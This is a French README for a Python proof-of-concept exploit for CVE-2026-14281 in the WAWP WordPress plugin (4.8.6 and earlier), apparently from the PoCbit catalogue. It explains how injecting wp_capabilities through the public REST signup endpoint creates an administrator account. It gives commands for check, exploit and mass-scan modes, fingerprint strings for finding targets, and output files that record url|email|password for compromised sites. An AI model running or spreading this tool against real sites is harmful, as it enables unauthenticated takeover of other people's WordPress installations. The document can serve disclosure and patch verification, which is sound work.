
Escalade de privilèges non authentifiée dans WordPress WAWP (Automation Web Platform) ≤ 4.8.6 via l'inscription publique REST et wawp_custom_fields non assaini → admin. PoC Python de vérification/exploitation (PoCbit).
PoC Python 3 pour CVE-2026-14281 dans le plugin WordPress Automation Web Platform (automation-web-platform — WAWP / Notifications & OTP for WooCommerce).
Répertorié sur PoCbit — catalogue communautaire : https://pocbit.org/pocs/
L'exécution du PoC affiche un en-tête PoCbit ; les lignes JSONL incluent pocbit, pocbit_catalog et pocbit_page.
| Plateforme | Plugin WordPress |
| Composant | Automation Web Platform (WAWP) |
| Affecté | ≤ 4.8.6 |
| Corrigé dans | > 4.8.6 (mettre à jour vers la dernière version stable) |
| CVSS 3.1 | 9.8 Critique (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Auth | Non authentifié |
| Vecteur | REST public POST /wp-json/wawp/v1/signup/signup |
Le gestionnaire REST d'inscription (public_permissions_check) accepte wawp_custom_fields, le mappe vers custom_fields_data, et après wp_insert_user() écrit chaque clé avec update_user_meta() sans liste d'autorisation. Les attaquants peuvent définir wp_capabilities et wp_user_level pour obtenir le rôle administrateur.
Code concerné (4.8.6) : includes/api/class-wawp-rest-settings-api.php (/signup/(?P<op>…)), includes/auth-services/class-wawp-otp-service.php (wawp_custom_fields → custom_fields_data), includes/auth-services/class-wawp-signup.php (finish_registration_logic).
Lorsque l'OTP d'inscription est activé, le premier appel signup peut s'arrêter à otp_verify (défi envoyé) et l'inscription ne se termine qu'après l'OTP — la chaîne complète d'admin non authentifié peut nécessiter que l'OTP soit désactivé ou un contournement OTP distinct. Le PoC signale otp_required dans ce cas.
pip install -r requirements.txt
Python 3.8+.
# Version + surface REST + sonde d'inscription live optionnelle (crée un utilisateur jetable si l'OTP est désactivé)
python poc.py -u https://target.example --mode check
# Enregistrer un utilisateur avec capacités admin (cibles autorisées uniquement)
python poc.py -u https://target.example --mode exploit --verify
# Scan de masse
python poc.py --list targets.example.txt --mode check --threads 20 --quiet
# JSON vers stdout (cible unique)
python poc.py -u https://target.example --mode check 2>nul
| Fichier | Signification |
|---|---|
cve_2026_14281_results.jsonl | JSON complet par cible |
hits.txt | Hôtes candidats (check) ou url|email|password (exploit) |
candidates.jsonl | Résumé du mode check |
body="/wp-content/plugins/automation-web-platform/"
body="/wp-json/wawp/"
À utiliser uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation explicite de test.
| Statut | Signification |
|---|
exploit_confirmed_probe | Sonde d'inscription terminée (OTP désactivé) ; chemin d'injection de meta actif |
vulnerable_otp_blocks_signup | Plugin/version + REST OK ; l'étape OTP bloque l'inscription en une seule fois |
vulnerable_rest_signup | Version vulnérable ; REST accessible (sonde non concluante) |
patched | Version > 4.8.6 |
no_plugin | Plugin non détecté |